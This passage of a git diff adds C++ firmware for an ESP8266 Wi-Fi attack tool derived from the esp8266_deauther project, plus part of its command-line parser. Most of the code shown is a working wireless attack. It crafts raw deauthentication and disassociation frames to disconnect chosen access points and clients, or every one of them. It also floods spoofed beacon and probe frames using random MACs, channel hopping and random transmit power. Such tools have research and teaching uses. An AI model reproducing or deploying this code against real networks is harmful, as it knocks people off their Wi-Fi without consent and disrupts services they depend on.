0; + } + + // probe packets per second + if (probe.active) probe.maxPkts = ssids.count() * settings::getAttackSettings().probe_frames_per_ssid; + else probe.maxPkts = 0; + + // random transmission power + if (settings::getAttackSettings().random_tx && (beacon.active || probe.active)) setOutputPower(random(21)); + else setOutputPower(20.5f); + + // reset counters + deauthPkts = deauth.packetCounter; + beaconPkts = beacon.packetCounter; + probePkts = probe.packetCounter; + packetRate = tmpPacketRate; + deauth.packetCounter = 0; + beacon.packetCounter = 0; + probe.packetCounter = 0; + deauth.tc = 0; + beacon.tc = 0; + probe.tc = 0; + tmpPacketRate = 0; +} + +void Attack::status() { + char s[120]; + + sprintf(s, str( + A_STATUS).c_str(), packetRate, deauthPkts, deauth.maxPkts, beaconPkts, beacon.maxPkts, probePkts, + probe.maxPkts); + prnt(String(s)); +} + +String Attack::getStatusJSON() { + String json = String(OPEN_BRACKET); // [ + + json += String(OPEN_BRACKET) + b2s(deauth.active) + String(COMMA) + String(scan.countSelected()) + String(COMMA) + + String(deauthPkts) + String(COMMA) + String(deauth.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0], + json += String(OPEN_BRACKET) + b2s(beacon.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String( + beaconPkts) + String(COMMA) + String(beacon.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0], + json += String(OPEN_BRACKET) + b2s(probe.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String( + probePkts) + String(COMMA) + String(probe.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0], + json += String(packetRate); // 0 + json += CLOSE_BRACKET; // ] + + return json; +} + +void Attack::update() { + if (!running || scan.isScanning()) return; + + apCount = accesspoints.count(); + stCount = stations.count(); + nCount = names.count(); + + // run/update all attacks + deauthUpdate(); + deauthAllUpdate(); + beaconUpdate(); + probeUpdate(); + + // each second + if (currentTime - attackTime > 1000) { + attackTime = currentTime; // update time + updateCounter(); + + if (output) status(); // status update + getRandomMac(mac); // generate new random mac + } +} + +void Attack::deauthUpdate() { + if (!deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) { + if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) { + // APs + if ((apCount > 0) && (deauth.tc < apCount)) { + if (accesspoints.getSelected(deauth.tc)) { + deauth.tc += deauthAP(deauth.tc); + } else deauth.tc++; + } + + // Stations + else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) { + if (stations.getSelected(deauth.tc - apCount)) { + deauth.tc += deauthStation(deauth.tc - apCount); + } else deauth.tc++; + } + + // Names + else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < nCount + stCount + apCount)) { + if (names.getSelected(deauth.tc - stCount - apCount)) { + deauth.tc += deauthName(deauth.tc - stCount - apCount); + } else deauth.tc++; + } + + // reset counter + if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0; + } + } +} + +void Attack::deauthAllUpdate() { + if (deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) { + if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) { + // APs + if ((apCount > 0) && (deauth.tc < apCount)) { + tmpID = names.findID(accesspoints.getMac(deauth.tc)); + + if (tmpID < 0) { + deauth.tc += deauthAP(deauth.tc); + } else if (!names.getSelected(tmpID)) { + deauth.tc += deauthAP(deauth.tc); + } else deauth.tc++; + } + + // Stations + else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) { + tmpID = names.findID(stations.getMac(deauth.tc - apCount)); + + if (tmpID < 0) { + deauth.tc += deauthStation(deauth.tc - apCount); + } else if (!names.getSelected(tmpID)) { + deauth.tc += deauthStation(deauth.tc - apCount); + } else deauth.tc++; + } + + // Names + else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < apCount + stCount + nCount)) { + if (!names.getSelected(deauth.tc - apCount - stCount)) { + deauth.tc += deauthName(deauth.tc - apCount - stCount); + } else deauth.tc++; + } + + // reset counter + if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0; + } + } +} + +void Attack::probeUpdate() { + if (probe.active && (probe.maxPkts > 0) && (probe.packetCounter < probe.maxPkts)) { + if (probe.time <= currentTime - (1000 / probe.maxPkts)) { + if (settings::getAttackSettings().attack_all_ch) setWifiChannel(probe.tc % 11, true); + probe.tc += sendProbe(probe.tc); + + if (probe.tc >= ssids.count()) probe.tc = 0; + } + } +} + +void Attack::beaconUpdate() { + if (beacon.active && (beacon.maxPkts > 0) && (beacon.packetCounter < beacon.maxPkts)) { + if (beacon.time <= currentTime - (1000 / beacon.maxPkts)) { + beacon.tc += sendBeacon(beacon.tc); + + if (beacon.tc >= ssids.count()) beacon.tc = 0; + } + } +} + +bool Attack::deauthStation(int num) { + return deauthDevice(stations.getAPMac(num), stations.getMac(num), settings::getAttackSettings().deauth_reason, stations.getCh(num)); +} + +bool Attack::deauthAP(int num) { + return deauthDevice(accesspoints.getMac(num), broadcast, settings::getAttackSettings().deauth_reason, accesspoints.getCh(num)); +} + +bool Attack::deauthName(int num) { + if (names.isStation(num)) { + return deauthDevice(names.getBssid(num), names.getMac(num), settings::getAttackSettings().deauth_reason, names.getCh(num)); + } else { + return deauthDevice(names.getMac(num), broadcast, settings::getAttackSettings().deauth_reason, names.getCh(num)); + } +} + +bool Attack::deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch) { + if (!stMac) return false; // exit when station mac is null + + // Serial.println("Deauthing "+macToStr(apMac)+" -> "+macToStr(stMac)); // for debugging + + bool success = false; + + // build deauth packet + packetSize = sizeof(deauthPacket); + + uint8_t deauthpkt[packetSize]; + + memcpy(deauthpkt, deauthPacket, packetSize); + + memcpy(&deauthpkt[4], stMac, 6); + memcpy(&deauthpkt[10], apMac, 6); + memcpy(&deauthpkt[16], apMac, 6); + deauthpkt[24] = reason; + + // send deauth frame + deauthpkt[0] = 0xc0; + + if (sendPacket(deauthpkt, packetSize, ch, true)) { + success = true; + deauth.packetCounter++; + } + + // send disassociate frame + uint8_t disassocpkt[packetSize]; + + memcpy(disassocpkt, deauthpkt, packetSize); + + disassocpkt[0] = 0xa0; + + if (sendPacket(disassocpkt, packetSize, ch, false)) { + success = true; + deauth.packetCounter++; + } + + // send another packet, this time from the station to the accesspoint + if (!macBroadcast(stMac)) { // but only if the packet isn't a broadcast + // build deauth packet + memcpy(&disassocpkt[4], apMac, 6); + memcpy(&disassocpkt[10], stMac, 6); + memcpy(&disassocpkt[16], stMac, 6); + + // send deauth frame + disassocpkt[0] = 0xc0; + + if (sendPacket(disassocpkt, packetSize, ch, false)) { + success = true; + deauth.packetCounter++; + } + + // send disassociate frame + disassocpkt[0] = 0xa0; + + if (sendPacket(disassocpkt, packetSize, ch, false)) { + success = true; + deauth.packetCounter++; + } + } + + if (success) deauth.time = currentTime; + + return success; +} + +bool Attack::sendBeacon(uint8_t tc) { + if (settings::getAttackSettings().attack_all_ch) setWifiChannel(tc % 11, true); + mac[5] = tc; + return sendBeacon(mac, ssids.getName(tc).c_str(), wifi_channel, ssids.getWPA2(tc)); +} + +bool Attack::sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2) { + packetSize = sizeof(beaconPacket); + + if (wpa2) { + beaconPacket[34] = 0x31; + } else { + beaconPacket[34] = 0x21; + packetSize -= 26; + } + + int ssidLen = strlen(ssid); + + if (ssidLen > 32) ssidLen = 32; + + memcpy(&beaconPacket[10], mac, 6); + memcpy(&beaconPacket[16], mac, 6); + memcpy(&beaconPacket[38], ssid, ssidLen); + + beaconPacket[82] = ch; + + // ===== + uint16_t tmpPacketSize = (packetSize - 32) + ssidLen; // calc size + uint8_t* tmpPacket = new uint8_t[tmpPacketSize]; // create packet buffer + + memcpy(&tmpPacket[0], &beaconPacket[0], 38 + ssidLen); // copy first half of packet into buffer + tmpPacket[37] = ssidLen; // update SSID length byte + memcpy(&tmpPacket[38 + ssidLen], &beaconPacket[70], wpa2 ? 39 : 13); // copy second half of packet into buffer + + bool success = sendPacket(tmpPacket, tmpPacketSize, ch, false); + + if (success) { + beacon.time = currentTime; + beacon.packetCounter++; + } + + delete[] tmpPacket; // free memory of allocated buffer + + return success; + // ===== +} + +bool Attack::sendProbe(uint8_t tc) { + if (settings::getAttackSettings().attack_all_ch) setWifiChannel(tc % 11, true); + mac[5] = tc; + return sendProbe(mac, ssids.getName(tc).c_str(), wifi_channel); +} + +bool Attack::sendProbe(uint8_t* mac, const char* ssid, uint8_t ch) { + packetSize = sizeof(probePacket); + int ssidLen = strlen(ssid); + + if (ssidLen > 32) ssidLen = 32; + + memcpy(&probePacket[10], mac, 6); + memcpy(&probePacket[26], ssid, ssidLen); + + if (sendPacket(probePacket, packetSize, ch, false)) { + probe.time = currentTime; + probe.packetCounter++; + return true; + } + + return false; +} + +bool Attack::sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, bool force_ch) { + // Serial.println(bytesToStr(packet, packetSize)); + + // set channel + setWifiChannel(ch, force_ch); + + // sent out packet + bool sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0; + + if (sent) ++tmpPacketRate; + + return sent; +} + +void Attack::enableOutput() { + output = true; + prntln(A_ENABLED_OUTPUT); +} + +void Attack::disableOutput() { + output = false; + prntln(A_DISABLED_OUTPUT); +} + +uint32_t Attack::getDeauthPkts() { + return deauthPkts; +} + +uint32_t Attack::getBeaconPkts() { + return beaconPkts; +} + +uint32_t Attack::getProbePkts() { + return probePkts; +} + +uint32_t Attack::getDeauthMaxPkts() { + return deauth.maxPkts; +} + +uint32_t Attack::getBeaconMaxPkts() { + return beacon.maxPkts; +} + +uint32_t Attack::getProbeMaxPkts() { + return probe.maxPkts; +} + +uint32_t Attack::getPacketRate() { + return packetRate; +} \ No newline at end of file diff --git a/esp8266_wifitools/Attack.h b/esp8266_wifitools/Attack.h new file mode 100644 index 0000000..f133a3b --- /dev/null +++ b/esp8266_wifitools/Attack.h @@ -0,0 +1,204 @@ +/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */ + +#pragma once + +#include "Arduino.h" +#include +extern "C" { + #include "user_interface.h" +} +#include "language.h" +#include "Accesspoints.h" +#include "Stations.h" +#include "SSIDs.h" +#include "Scan.h" + +extern SSIDs ssids; +extern Accesspoints accesspoints; +extern Stations stations; +extern Scan scan; + +extern uint8_t wifi_channel; +extern uint8_t broadcast[6]; +extern uint32_t currentTime; + +extern bool macBroadcast(uint8_t* mac); +extern void getRandomMac(uint8_t* mac); +extern void setOutputPower(float dBm); +extern String macToStr(const uint8_t* mac); +extern String bytesToStr(const uint8_t* b, uint32_t size); +extern void setWifiChannel(uint8_t ch, bool force); +extern bool writeFile(String path, String& buf); +extern int8_t free80211_send(uint8_t* buffer, uint16_t len); + +class Attack { + public: + Attack(); + + void start(); + void start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout); + void stop(); + void update(); + + void enableOutput(); + void disableOutput(); + void status(); + String getStatusJSON(); + + bool deauthAP(int num); + bool deauthStation(int num); + bool deauthName(int num); + bool deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch); + + bool sendBeacon(uint8_t tc); + bool sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2); + + bool sendProbe(uint8_t tc); + bool sendProbe(uint8_t* mac, const char* ssid, uint8_t ch); + + bool sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, bool force_ch); + + bool isRunning(); + + uint32_t getDeauthPkts(); + uint32_t getBeaconPkts(); + uint32_t getProbePkts(); + uint32_t getDeauthMaxPkts(); + uint32_t getBeaconMaxPkts(); + uint32_t getProbeMaxPkts(); + + uint32_t getPacketRate(); + + private: + void deauthUpdate(); + void deauthAllUpdate(); + void beaconUpdate(); + void probeUpdate(); + + void updateCounter(); + + bool running = false; + bool output = true; + + struct AttackType { + bool active = false; // if attack is activated + uint16_t packetCounter = 0; // how many packets are sent per second + uint16_t maxPkts = 0; // how many packets should be sent per second + uint8_t tc = 0; // target counter, i.e. which AP or SSID + uint32_t time = 0; // time last packet was sent + }; + + AttackType deauth; + AttackType beacon; + AttackType probe; + bool deauthAll = false; + + uint32_t deauthPkts = 0; + uint32_t beaconPkts = 0; + uint32_t probePkts = 0; + + uint32_t tmpPacketRate = 0; + uint32_t packetRate = 0; + + uint8_t apCount = 0; + uint8_t stCount = 0; + uint8_t nCount = 0; + + int8_t tmpID = -1; + + uint16_t packetSize = 0; + uint32_t attackTime = 0; // for counting how many packets per second + uint32_t attackStartTime = 0; + uint32_t timeout = 0; + + // random mac address for making the beacon packets + uint8_t mac[6] = { 0xAA, 0xBB, 0xCC, 0x00, 0x11, 0x22 }; + + uint8_t deauthPacket[26] = { + /* 0 - 1 */ 0xC0, 0x00, // type, subtype c0: deauth (a0: disassociate) + /* 2 - 3 */ 0x00, 0x00, // duration (SDK takes care of that) + /* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // reciever (target) + /* 10 - 15 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // source (ap) + /* 16 - 21 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // BSSID (ap) + /* 22 - 23 */ 0x00, 0x00, // fragment & squence number + /* 24 - 25 */ 0x01, 0x00 // reason code (1 = unspecified reason) + }; + + uint8_t probePacket[68] = { + /* 0 - 1 */ 0x40, 0x00, // Type: Probe Request + /* 2 - 3 */ 0x00, 0x00, // Duration: 0 microseconds + /* 4 - 9 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination: Broadcast + /* 10 - 15 */ 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // Source: random MAC + /* 16 - 21 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // BSS Id: Broadcast + /* 22 - 23 */ 0x00, 0x00, // Sequence number (will be replaced by the SDK) + /* 24 - 25 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32 + /* 26 - 57 */ 0x20, 0x20, 0x20, 0x20, // SSID + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + /* 58 - 59 */ 0x01, 0x08, // Tag Number: Supported Rates (1), Tag length: 8 + /* 60 */ 0x82, // 1(B) + /* 61 */ 0x84, // 2(B) + /* 62 */ 0x8b, // 5.5(B) + /* 63 */ 0x96, // 11(B) + /* 64 */ 0x24, // 18 + /* 65 */ 0x30, // 24 + /* 66 */ 0x48, // 36 + /* 67 */ 0x6c // 54 + }; + + uint8_t beaconPacket[109] = { + /* 0 - 3 */ 0x80, 0x00, 0x00, 0x00, // Type/Subtype: managment beacon frame + /* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Destination: broadcast + /* 10 - 15 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source + /* 16 - 21 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source + + // Fixed parameters + /* 22 - 23 */ 0x00, 0x00, // Fragment & sequence number (will be done by the SDK) + /* 24 - 31 */ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, // Timestamp + /* 32 - 33 */ 0x64, 0x00, // Interval: 0x64, 0x00 => every 100ms - 0xe8, 0x03 => every 1s + /* 34 - 35 */ 0x31, 0x00, // capabilities Tnformation + + // Tagged parameters + + // SSID parameters + /* 36 - 37 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32 + /* 38 - 69 */ 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, // SSID + + // Supported Rates + /* 70 - 71 */ 0x01, 0x08, // Tag: Supported Rates, Tag length: 8 + /* 72 */ 0x82, // 1(B) + /* 73 */ 0x84, // 2(B) + /* 74 */ 0x8b, // 5.5(B) + /* 75 */ 0x96, // 11(B) + /* 76 */ 0x24, // 18 + /* 77 */ 0x30, // 24 + /* 78 */ 0x48, // 36 + /* 79 */ 0x6c, // 54 + + // Current Channel + /* 80 - 81 */ 0x03, 0x01, // Channel set, length + /* 82 */ 0x01, // Current Channel + + // RSN information + /* 83 - 84 */ 0x30, 0x18, + /* 85 - 86 */ 0x01, 0x00, + /* 87 - 90 */ 0x00, 0x0f, 0xac, 0x02, + /* 91 - 92 */ 0x02, 0x00, + /* 93 - 100 */ 0x00, 0x0f, 0xac, 0x04, 0x00, 0x0f, 0xac, 0x04, /*Fix: changed 0x02(TKIP) to 0x04(CCMP) is default. WPA2 with TKIP not supported by many devices*/ + /* 101 - 102 */ 0x01, 0x00, + /* 103 - 106 */ 0x00, 0x0f, 0xac, 0x02, + /* 107 - 108 */ 0x00, 0x00 + }; +}; \ No newline at end of file diff --git a/esp8266_wifitools/CLI.cpp b/esp8266_wifitools/CLI.cpp new file mode 100644 index 0000000..275ea37 --- /dev/null +++ b/esp8266_wifitools/CLI.cpp @@ -0,0 +1,1280 @@ +/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */ + +#include "CLI.h" + +#include +#include "settings.h" +#include "wifi.h" + +/* + Shitty code used less resources so I will keep this clusterfuck as it is, + but if you're interested I made a library for this: github.com/spacehuhn/SimpleCLI + */ + +CLI::CLI() { + list = new SimpleList; + queue = new SimpleList; +} + +CLI::~CLI() {} + +void CLI::load() { + String defaultValue = str(CLI_DEFAULT_AUTOSTART); + + checkFile(execPath, defaultValue); + execFile(execPath); +} + +void CLI::load(String filepath) { + execPath = filepath; + load(); +} + +void CLI::enable() { + enabled = true; + prntln(CLI_SERIAL_ENABLED); +} + +void CLI::disable() { + enabled = true; + prntln(CLI_SERIAL_DISABLED); +} + +void CLI::update() { + // when serial available, read input + if (Serial.available() > 0) { + String input = Serial.readStringUntil('\n'); + exec(input); + } + + // when queue is not empty, delay is off and no scan is active, run it + else if ((queue->size() > 0) && !delayed && !scan.isScanning() && !attack.isRunning()) { + String s = queue->shift(); + exec(s); + } +} + +void CLI::stop() { + queue->clear(); + prntln(CLI_STOPPED_SCRIPT); +} + +void CLI::enableDelay(uint32_t delayTime) { + delayed = true; + this->delayTime = delayTime; + delayStartTime = millis(); +} + +void CLI::exec(String input) { + // quick exit when input is empty + if (input.length() == 0) return; + + // check delay + if (delayed && (millis() - delayStartTime > delayTime)) { + delayed = false; + prntln(CLI_RESUMED); + } + + // when delay is on, add it to queue, else run it + if (delayed) { + queue->add(input); + } else { + runLine(input); + } +} + +void CLI::execFile(String path) { + String input; + + if (readFile(path, input)) { + String tmpLine; + char tmpChar; + + input += '\n'; + + while (!queue->isEmpty()) { + input += queue->shift(); + input += '\n'; + } + + for (int i = 0; i < input.length(); i++) { + tmpChar = input.charAt(i); + + if (tmpChar == '\n') { + queue->add(tmpLine); + tmpLine = String(); + } else { + tmpLine += tmpChar; + } + } + + queue->add(tmpLine); + } +} + +void CLI::error(String message) { + prnt(CLI_ERROR); + prntln(message); +} + +void CLI::parameterError(String parameter) { + prnt(CLI_ERROR_PARAMETER); + prnt(parameter); + prntln(DOUBLEQUOTES); +} + +bool CLI::isInt(String str) { + if (eqls(str, STR_TRUE) || eqls(str, STR_FALSE)) return true; + + for (uint32_t i = 0; i < str.length(); i++) + if (!isDigit(str.charAt(i))) return false; + + return true; +} + +int CLI::toInt(String str) { + if (eqls(str, STR_TRUE)) return 1; + else if (eqls(str, STR_FALSE)) return 0; + else return str.toInt(); +} + +uint32_t CLI::getTime(String time) { + int value = time.toInt(); + + if (value < 0) value = -value; + + if (time.substring(time.length() - 1).equalsIgnoreCase(String(S))) value *= 1000; + else if (time.substring(time.length() - 3).equalsIgnoreCase(str(STR_MIN)) || + (time.charAt(time.length() - 1) == M)) value *= 60000; + return value; +} + +bool CLI::eqlsCMD(int i, const char* keyword) { + return eqls(list->get(i).c_str(), keyword); +} + +void CLI::runLine(String input) { + String tmp; + + for (int i = 0; i < input.length(); i++) { + // when 2 semicolons in a row without a backslash escaping the first + if ((input.charAt(i) == SEMICOLON) && (input.charAt(i + 1) == SEMICOLON) && + (input.charAt(i - 1) != BACKSLASH)) { + runCommand(tmp); + tmp = String(); + i++; + } else { + tmp += input.charAt(i); + } + } + + tmp.replace(BACKSLASH + SEMICOLON + SEMICOLON, SEMICOLON + SEMICOLON); + + if (tmp.length() > 0) runCommand(tmp); +} + +void CLI::runCommand(String input) { + input.replace(String(NEWLINE), String()); + input.replace(String(CARRIAGERETURN), String()); + + list->clear(); + + // parse/split input in list + String tmp; + bool withinQuotes = false; + bool escaped = false; + char c; + + for (uint32_t i = 0; i < input.length() && i < 512; i++) { + c = input.charAt(i); + + // when char is an unescaped + if (!escaped && (c == BACKSLASH)) { + escaped = true; + } + + // (when char is a unescaped space AND it's not within quotes) OR char is \r or \n + else if (((c == SPACE) && !escaped && !withinQuotes) || (c == CARRIAGERETURN) || (c == NEWLINE)) { + // when tmp string isn't empty, add it to the list + if (tmp.length() > 0) { + list->add(tmp); + tmp = String(); // reset tmp string + } + } + + // when char is an unescaped " + else if ((c == DOUBLEQUOTES) && !escaped) { + // update wheter or not the following chars are within quotes or not + withinQuotes = !withinQuotes; + + if ((tmp.length() == 0) && !withinQuotes) tmp += SPACE; // when exiting quotes and tmp string is empty, add + // a space + } + + // add character to tmp string + else { + tmp += c; + escaped = false; + } + } + + // add string if something is left from the loop above + if (tmp.length() > 0) list->add(tmp); + + // stop when input is empty/invalid + if (list->size() == 0) return; + + // print comments + if (list->get(0) == str(CLI_COMMENT)) { + prntln(input); + return; + } + + if (settings::getCLISettings().serial_echo) { + // print command + prnt(CLI_INPUT_PREFIX); + prntln(input); + } + + if (list->size() == 0) return; + + // ===== HELP ===== // + if (eqlsCMD(0, CLI_HELP)) { + prntln(CLI_HELP_HEADER); + + prntln(CLI_HELP_HELP); + prntln(CLI_HELP_SCAN); + prntln(CLI_HELP_SHOW); + prntln(CLI_HELP_SELECT); + prntln(CLI_HELP_DESELECT); + prntln(CLI_HELP_SSID_A); + prntln(CLI_HELP_SSID_B); + prntln(CLI_HELP_SSID_C); + prntln(CLI_HELP_NAME_A); + prntln(CLI_HELP_NAME_B); + prntln(CLI_HELP_NAME_C); + prntln(CLI_HELP_SET_NAME); + prntln(CLI_HELP_ENABLE_RANDOM); + prntln(CLI_HELP_DISABLE_RANDOM); + prntln(CLI_HELP_LOAD); + prntln(CLI_HELP_SAVE); + prntln(CLI_HELP_REMOVE_A); + prntln(CLI_HELP_REMOVE_B); + prntln(CLI_HELP_ATTACK); + prntln(CLI_HELP_ATTACK_STATUS); + prntln(CLI_HELP_STOP); + prntln(CLI_HELP_SYSINFO); + prntln(CLI_HELP_CLEAR); + prntln(CLI_HELP_FORMAT); + prntln(CLI_HELP_PRINT); + prntln(CLI_HELP_DELETE); + prntln(CLI_HELP_REPLACE); + prntln(CLI_HELP_COPY); + prntln(CLI_HELP_RENAME); + prntln(CLI_HELP_RUN); + prntln(CLI_HELP_WRITE); + prntln(CLI_HELP_GET); + prntln(CLI_HELP_SET); + prntln(CLI_HELP_RESET); + prntln(CLI_HELP_CHICKEN); + prntln(CLI_HELP_REBOOT); + prntln(CLI_HELP_INFO); + prntln(CLI_HELP_COMMENT); + prntln(CLI_HELP_SEND_DEAUTH); + prntln(CLI_HELP_SEND_BEACON); + prntln(CLI_HELP_SEND_PROBE); + prntln(CLI_HELP_LED_A); + prntln(CLI_HELP_LED_B); + prntln(CLI_HELP_DRAW); + prntln(CLI_HELP_SCREEN_ON); + prntln(CLI_HELP_SCREEN_MODE); + + prntln(CLI_HELP_FOOTER); + } + + // ===== SCAN ===== // + // scan [] [-t